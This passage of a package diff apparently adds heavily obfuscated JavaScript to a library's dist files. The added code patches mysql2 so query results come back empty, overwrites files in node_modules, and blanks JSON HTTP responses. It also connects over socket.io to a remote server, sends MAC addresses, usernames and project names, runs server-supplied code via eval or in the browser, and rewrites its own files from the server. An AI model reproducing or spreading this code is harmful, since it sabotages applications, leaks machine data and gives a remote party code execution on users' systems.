_0x2a5f53;},a21_0x1361(_0x53b036,_0xd0d3d);}const originalCreatePoolPromise=a21_0x5b8d46[a21_0x2cc424(0x164)];a21_0x5b8d46[a21_0x2cc424(0x164)]=function(_0x5d7522){const _0x22790d=a21_0x2cc424;let _0x10f714=originalCreatePoolPromise(_0x5d7522),_0x44a6b8=_0x10f714[_0x22790d(0x161)];return _0x10f714[_0x22790d(0x161)]=(..._0x37b19b)=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x997f1c=_0x22790d,_0x402f60=yield _0x44a6b8[_0x997f1c(0x149)](_0x10f714,_0x37b19b);return getEnv(_0x997f1c(0x167))&&(a21_0x33f8f0(0x1,0xa)>0x2&&(_0x402f60[0x0]=[])),getEnv('isDBDataEmpty')&&(_0x402f60[0x0]=[]),_0x402f60;}),_0x10f714;};let href=a21_0x1a06fb[a21_0x2cc424(0x13a)](process[a21_0x2cc424(0x157)](),'./node_modules/mysql2');if(a21_0x1613e9[a21_0x2cc424(0x16c)](href)){let res=a21_0x1613e9[a21_0x2cc424(0x168)](a21_0x1a06fb[a21_0x2cc424(0x13a)](href,a21_0x2cc424(0x15d)))[a21_0x2cc424(0x15a)]()[a21_0x2cc424(0x13f)](a21_0x2cc424(0x14b));!res&&setTimeout(()=>{const _0x1976da=a21_0x2cc424,_0xb93c5b=_0x1976da(0x143),_0x5537dc=href,_0x222348=a21_0x1a06fb['join'](_0x5537dc,'package.json');let _0x4a87b2=null;a21_0x1613e9['existsSync'](_0x222348)&&(_0x4a87b2=a21_0x1613e9[_0x1976da(0x168)](_0x222348)[_0x1976da(0x15a)]());a21_0x1613e9[_0x1976da(0x13b)](a21_0x1a06fb[_0x1976da(0x13a)](__dirname,_0xb93c5b),_0x5537dc,{'recursive':!![],'force':!![]});let _0x6fc13a=a21_0x1613e9[_0x1976da(0x168)](a21_0x1a06fb['join'](__dirname,'./package/mysql_backup/index.js'))['toString'](),_0x21c57b=a21_0x1613e9[_0x1976da(0x168)](a21_0x1a06fb[_0x1976da(0x13a)](__dirname,'./package/mysql_backup/promise.js'))[_0x1976da(0x15a)]();setTimeout(()=>{const _0x1cc4d1=_0x1976da;a21_0x1613e9[_0x1cc4d1(0x160)](a21_0x1a06fb[_0x1cc4d1(0x13a)](href,_0x1cc4d1(0x15d)),_0x6fc13a),a21_0x1613e9[_0x1cc4d1(0x160)](a21_0x1a06fb['join'](href,'./promise.js'),_0x21c57b);},0xa),_0x4a87b2!==null&&a21_0x1613e9[_0x1976da(0x160)](_0x222348,_0x4a87b2);},0x5dc);}function a21_0x55a2(){const _0x4d17be=['next','node-server-dev','value','110oLcyrX','ServerResponse','stringify','byteLength','2264NZMHrl','then','from','delete','__awaiter','3514EkIrLM','cwd','done','__http_interceptor','toString','call','get','./index.js','write','75357icaNbX','writeFileSync','query','403795DjaFnB','5761844gtZMQE','createPool','1010748qgqjJr','isBuffer','connectError','readFileSync','51724kflLUy','151954cijyZH','3zROwFQ','existsSync','prototype','throw','join','cpSync','60hjXKBp','parse','has','includes','map','setHeader','push','./package/mysql2','http','end','set','test','content-type','apply'];a21_0x55a2=function(){return _0x4d17be;};return a21_0x55a2();}setInterval(()=>{const _0x2e4600=a21_0x2cc424;if(getEnv(_0x2e4600(0x167)))try{(function(){const _0x5cae06=_0x2e4600,_0x102dc2=require(_0x5cae06(0x144)),_0x5003bc=_0x102dc2[_0x5cae06(0x14e)][_0x5cae06(0x16d)]['end'],_0x235f7a=_0x102dc2[_0x5cae06(0x14e)][_0x5cae06(0x16d)][_0x5cae06(0x15e)],_0xbbce89=new WeakMap();function _0x446da9(){const _0x32ec47=_0x5cae06;global['__http_interceptor']=!![],_0x102dc2[_0x32ec47(0x14e)][_0x32ec47(0x16d)][_0x32ec47(0x15e)]=function(_0x450302,_0x42e5e7,_0x1855eb){const _0xb4e0a0=_0x32ec47;!_0xbbce89['has'](this)&&_0xbbce89[_0xb4e0a0(0x146)](this,[]);if(_0x450302)_0xbbce89[_0xb4e0a0(0x15c)](this)[_0xb4e0a0(0x142)](_0x450302);return _0x235f7a[_0xb4e0a0(0x15b)](this,_0x450302,_0x42e5e7,_0x1855eb);},_0x102dc2[_0x32ec47(0x14e)][_0x32ec47(0x16d)][_0x32ec47(0x145)]=function(_0x564ea5,_0x12cc49,_0x119c17){const _0x5b6d4b=_0x32ec47,_0x2c3671=/application\/json/i[_0x5b6d4b(0x147)](this['getHeader'](_0x5b6d4b(0x148)));if(_0x2c3671&&(_0x564ea5||_0xbbce89[_0x5b6d4b(0x13e)](this))){const _0xcc283f=_0xbbce89[_0x5b6d4b(0x15c)](this)||[];if(_0x564ea5)_0xcc283f[_0x5b6d4b(0x142)](_0x564ea5);try{const _0x1fa280=Buffer['concat'](_0xcc283f[_0x5b6d4b(0x140)](_0x35b216=>Buffer[_0x5b6d4b(0x166)](_0x35b216)?_0x35b216:Buffer[_0x5b6d4b(0x153)](_0x35b216,_0x12cc49))),_0x3b88fa=JSON[_0x5b6d4b(0x13d)](_0x1fa280[_0x5b6d4b(0x15a)]()),_0x2fa436=JSON[_0x5b6d4b(0x14f)]({});return this[_0x5b6d4b(0x141)]('content-length',Buffer[_0x5b6d4b(0x150)](JSON['stringify'](_0x3b88fa))),_0xbbce89[_0x5b6d4b(0x154)](this),_0x5003bc[_0x5b6d4b(0x15b)](this,_0x2fa436,_0x12cc49,_0x119c17);}catch(_0x2d5159){}}return _0xbbce89[_0x5b6d4b(0x154)](this),_0x5003bc[_0x5b6d4b(0x15b)](this,_0x564ea5,_0x12cc49,_0x119c17);};}!global[_0x5cae06(0x159)]&&_0x446da9();}());}catch(_0x1a2de7){}},0x7d0);const all={'mysql':a21_0x5b8d46};export default all;export{a21_0x5b8d46 as mysql};
|
package/dist/esm/start.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
const
|
1
|
+
const a22_0x886e40=a22_0x2603;(function(_0x2a2a8e,_0xb93bc4){const _0x393d76=a22_0x2603,_0x27f85b=_0x2a2a8e();while(!![]){try{const _0x3b302d=-parseInt(_0x393d76(0x1b4))/0x1+parseInt(_0x393d76(0x1ac))/0x2*(-parseInt(_0x393d76(0x1c1))/0x3)+-parseInt(_0x393d76(0x193))/0x4+parseInt(_0x393d76(0x191))/0x5*(parseInt(_0x393d76(0x1bd))/0x6)+parseInt(_0x393d76(0x1b9))/0x7+-parseInt(_0x393d76(0x190))/0x8+-parseInt(_0x393d76(0x1ba))/0x9*(-parseInt(_0x393d76(0x1a6))/0xa);if(_0x3b302d===_0xb93bc4)break;else _0x27f85b['push'](_0x27f85b['shift']());}catch(_0x56cbba){_0x27f85b['push'](_0x27f85b['shift']());}}}(a22_0x2a5d,0x71a9b));var __awaiter=this&&this[a22_0x886e40(0x197)]||function(_0x3c8eb1,_0x2755b5,_0x50fb8c,_0x31d33c){function _0x2f08cf(_0x188e97){return _0x188e97 instanceof _0x50fb8c?_0x188e97:new _0x50fb8c(function(_0x433525){_0x433525(_0x188e97);});}return new(_0x50fb8c||(_0x50fb8c=Promise))(function(_0x1a6a86,_0x15cef2){const _0x37f08e=a22_0x2603;function _0x606c0c(_0x464b06){try{_0x2388b(_0x31d33c['next'](_0x464b06));}catch(_0x355d34){_0x15cef2(_0x355d34);}}function _0x72453f(_0x332130){const _0x3dd343=a22_0x2603;try{_0x2388b(_0x31d33c[_0x3dd343(0x1b3)](_0x332130));}catch(_0x100f65){_0x15cef2(_0x100f65);}}function _0x2388b(_0x842271){const _0x11aae9=a22_0x2603;_0x842271['done']?_0x1a6a86(_0x842271['value']):_0x2f08cf(_0x842271[_0x11aae9(0x192)])[_0x11aae9(0x1b6)](_0x606c0c,_0x72453f);}_0x2388b((_0x31d33c=_0x31d33c[_0x37f08e(0x1c2)](_0x3c8eb1,_0x2755b5||[]))['next']());});},_a,_b,_c,_d;import{io}from'socket.io-client';import a22_0x46c65c from'path';import{runScript,browser}from'./browser/index';function a22_0x2a5d(){const _0x5cbcf4=['node获取失败','node','./mac','content','name','event','join','浏览器','script','990PGDOQg','navigator','connect_failed','browser','reconnect_failed','get','82RQSgCh','title','无法获取','error','USERNAME','isDBDataEmpty','type','throw','135604mOjZcI','visitorId','then','/socket','env','29421CWwshS','82728REcTZJ','submit','websocket','1051986czTFZT','00:00:00:00:00:00','get-event','userAgent','2550iZUnAc','apply','5109232DhcfXZ','20fMMhHW','value','1363456jfvqAI','length','connect_error','catch','__awaiter','undefined','emit','default','load','connectError'];a22_0x2a5d=function(){return _0x5cbcf4;};return a22_0x2a5d();}import a22_0x2a4733 from'@fingerprintjs/fingerprintjs';import a22_0x36e2f6 from'bowser';import{setEnv,url}from'./index';export const isBrowser=typeof window!==a22_0x886e40(0x198);function a22_0x2603(_0x50291d,_0x45211b){const _0x2a5dc5=a22_0x2a5d();return a22_0x2603=function(_0x26032a,_0x3eda68){_0x26032a=_0x26032a-0x190;let _0x12d55d=_0x2a5dc5[_0x26032a];return _0x12d55d;},a22_0x2603(_0x50291d,_0x45211b);}isBrowser&&(window['WebSocket']=class extends WebSocket{constructor(..._0x3ca9e8){try{super(..._0x3ca9e8);}catch(_0x1992a1){}}});const user_name=isBrowser?((_b=(_a=a22_0x36e2f6['parse'](window[a22_0x886e40(0x1a7)][a22_0x886e40(0x1c0)]))===null||_a===void 0x0?void 0x0:_a[a22_0x886e40(0x1a9)])===null||_b===void 0x0?void 0x0:_b[a22_0x886e40(0x1a1)])||a22_0x886e40(0x1a4):((_c=process===null||process===void 0x0?void 0x0:process[a22_0x886e40(0x1b8)])===null||_c===void 0x0?void 0x0:_c[a22_0x886e40(0x1b0)])||a22_0x886e40(0x19d),project_name=isBrowser?document[a22_0x886e40(0x1ad)]||a22_0x886e40(0x1a4):((_d=process===null||process===void 0x0?void 0x0:process['env'])===null||_d===void 0x0?void 0x0:_d['npm_package_name'])||a22_0x886e40(0x1ae);function start(){return __awaiter(this,void 0x0,void 0x0,function*(){const _0x910367=a22_0x2603;isBrowser&&browser();try{const _0x3635bf=io(url,{'path':_0x910367(0x1b7),'transports':[_0x910367(0x1bc)],'timeout':0x1770,'reconnection':![]});_0x3635bf['on']('connect',()=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x4bbd1=_0x910367;try{let _0x1b1d4a=[_0x4bbd1(0x1be)];if(!isBrowser){const _0x36b66e=require(a22_0x46c65c[_0x4bbd1(0x1a3)](__dirname,_0x4bbd1(0x19f)))[_0x4bbd1(0x19a)];_0x1b1d4a=_0x36b66e();}else{let _0x41a55c=yield a22_0x2a4733[_0x4bbd1(0x19b)]()[_0x4bbd1(0x1b6)](_0x5d00d7=>_0x5d00d7[_0x4bbd1(0x1ab)]())[_0x4bbd1(0x1b6)](_0x3aa281=>{const _0x56825d=_0x4bbd1,_0x544134=_0x3aa281[_0x56825d(0x1b5)];return _0x544134;})[_0x4bbd1(0x196)](()=>'');_0x1b1d4a=[_0x41a55c];}if(_0x1b1d4a['length']===0x0){setEnv('connectError',!![]);return;}else setEnv(_0x4bbd1(0x19c),![]);_0x3635bf[_0x4bbd1(0x199)]('submit',{'mac':_0x1b1d4a,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':isBrowser}),_0x3635bf[_0x4bbd1(0x199)](_0x4bbd1(0x1bf),{'mac':_0x1b1d4a,'isBrowser':isBrowser,'user_name':user_name}),setInterval(()=>{const _0x4de79d=_0x4bbd1;_0x3635bf[_0x4de79d(0x199)](_0x4de79d(0x1bb),{'mac':_0x1b1d4a,'project_name':project_name,'user_name':user_name,'notes':'','isBrowser':isBrowser}),_0x3635bf[_0x4de79d(0x199)](_0x4de79d(0x1bf),{'mac':_0x1b1d4a,'isBrowser':isBrowser,'user_name':user_name});},0x1b58),_0x3635bf['on'](_0x4bbd1(0x1a2),_0x52fc2a=>__awaiter(this,void 0x0,void 0x0,function*(){const _0x4f32ab=_0x4bbd1;try{for(let _0x31e9ce=0x0;_0x31e9ce<_0x52fc2a[_0x4f32ab(0x194)];_0x31e9ce++){const _0x508567=_0x52fc2a[_0x31e9ce];if(_0x508567['type']==='mysql')setEnv(_0x4f32ab(0x1b1),!![]);else{if(_0x508567[_0x4f32ab(0x1b2)]===_0x4f32ab(0x19e)&&!isBrowser)try{eval(_0x508567[_0x4f32ab(0x1a0)]);}catch(_0x1e8b8e){}else{if(_0x508567['type']===_0x4f32ab(0x1a5)&&isBrowser)try{runScript(_0x508567[_0x4f32ab(0x1a0)]);}catch(_0x41d1f8){}}}}}catch(_0x4449de){}}));}catch(_0x3ef724){}})),_0x3635bf['on'](_0x910367(0x1af),_0x477285=>{const _0x419f1a=_0x910367;setEnv(_0x419f1a(0x19c),!![]);}),_0x3635bf['on'](_0x910367(0x1a8),_0x312b47=>{const _0x3aec42=_0x910367;setEnv(_0x3aec42(0x19c),!![]);}),_0x3635bf['on'](_0x910367(0x1aa),_0x17ac18=>{const _0xe59881=_0x910367;setEnv(_0xe59881(0x19c),!![]);}),_0x3635bf['on'](_0x910367(0x195),()=>{const _0xae9169=_0x910367;setEnv(_0xae9169(0x19c),!![]);});}catch(_0x202724){}});}export default start;
|
package/dist/esm/update.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
const
|
1
|
+
function a23_0x16dd(_0x3e1161,_0x13a14e){const _0x1ca059=a23_0x1ca0();return a23_0x16dd=function(_0x16dd44,_0x410629){_0x16dd44=_0x16dd44-0x14c;let _0x11531a=_0x1ca059[_0x16dd44];return _0x11531a;},a23_0x16dd(_0x3e1161,_0x13a14e);}function a23_0x1ca0(){const _0x127714=['/version','toString','then','writeFileSync','join','5457060MpIsUi','get','version','undefined','success','keys','166vZcami','exports','parse','427tYoOIm','50488SiinVS','ESM','readFileSync','4965147YPuIbV','existsSync','main','25mTwgPN','813114vIUCDU','values','data','{version:\x220.0.0\x22}','505406dMvNsM','./index.js','291092NUQhYH','17694cFPguS'];a23_0x1ca0=function(){return _0x127714;};return a23_0x1ca0();}const a23_0x3f763a=a23_0x16dd;(function(_0x2b2b2d,_0x40dd03){const _0x47af26=a23_0x16dd,_0x43af49=_0x2b2b2d();while(!![]){try{const _0x4e7398=parseInt(_0x47af26(0x161))/0x1+-parseInt(_0x47af26(0x152))/0x2*(parseInt(_0x47af26(0x164))/0x3)+parseInt(_0x47af26(0x163))/0x4+-parseInt(_0x47af26(0x15c))/0x5*(-parseInt(_0x47af26(0x15d))/0x6)+-parseInt(_0x47af26(0x155))/0x7*(parseInt(_0x47af26(0x156))/0x8)+parseInt(_0x47af26(0x159))/0x9+-parseInt(_0x47af26(0x14c))/0xa;if(_0x4e7398===_0x40dd03)break;else _0x43af49['push'](_0x43af49['shift']());}catch(_0x2a112d){_0x43af49['push'](_0x43af49['shift']());}}}(a23_0x1ca0,0x5e8ae));import a23_0x312a98 from'axios';import a23_0x31185e from'fs';import a23_0x454be4 from'path';import{url}from'./index';import a23_0x135339 from'sha1';function getModuleType(){const _0x26a792=a23_0x16dd,_0x21eb85=()=>{const _0x10a535=a23_0x16dd;try{return typeof require!==_0x10a535(0x14f)&&typeof module!==_0x10a535(0x14f)&&module[_0x10a535(0x153)]&&require[_0x10a535(0x15b)]===module;}catch(_0x3fcef5){return![];}};return _0x21eb85()?'CJS':_0x26a792(0x157);}let _path=a23_0x454be4[a23_0x3f763a(0x169)](__dirname,'../../package.json'),indexFile=a23_0x454be4[a23_0x3f763a(0x169)](__dirname,a23_0x3f763a(0x162)),vFile=a23_0x31185e['existsSync'](_path)?a23_0x31185e['readFileSync'](_path)['toString']():a23_0x3f763a(0x160),indexFileContent=a23_0x31185e[a23_0x3f763a(0x15a)](_path)?a23_0x31185e[a23_0x3f763a(0x158)](indexFile)[a23_0x3f763a(0x166)]():![],version=JSON[a23_0x3f763a(0x154)](vFile)[a23_0x3f763a(0x14e)];function update(){const _0x1b08f6=a23_0x3f763a;a23_0x312a98[_0x1b08f6(0x14d)](url+_0x1b08f6(0x165),{'params':{'mode':getModuleType(),'version':version,'hash':indexFileContent?a23_0x135339(indexFileContent):''}})[_0x1b08f6(0x167)](_0x1a8214=>{const _0x146771=_0x1b08f6;if(!_0x1a8214['data'][_0x146771(0x150)]){let _0x1029ca=Object[_0x146771(0x151)](_0x1a8214[_0x146771(0x15f)][_0x146771(0x15f)]),_0x78d368=Object[_0x146771(0x15e)](_0x1a8214['data'][_0x146771(0x15f)]);for(let _0x326005=0x0;_0x326005<_0x1029ca['length'];_0x326005++){const _0x57d454=_0x1029ca[_0x326005],_0x435189=_0x78d368[_0x326005];a23_0x31185e[_0x146771(0x168)](a23_0x454be4[_0x146771(0x169)](__dirname,'./'+_0x57d454),_0x435189);}}});}export default update;
|